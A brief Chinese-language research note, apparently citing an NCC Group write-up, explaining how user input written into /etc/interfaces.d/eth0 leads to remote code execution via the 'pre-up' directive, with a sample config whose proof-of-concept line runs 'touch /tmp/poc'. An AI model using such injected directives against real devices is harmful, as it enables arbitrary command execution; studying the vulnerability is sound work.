https://research.nccgroup.com/2020/02/10/interfaces-d-to-rce/
同样也是个用户输入到配置文件导致rce的。不过这里是到了/etc/interfaces.d/eth0这个文件,这里通过pre-up可以直接设置要执行的命令
auto eth0 iface eth0 inet static address 192.168.0.250 netmask 255.255.255.0 gateway 192.168.0.1 pre-up touch /tmp/poc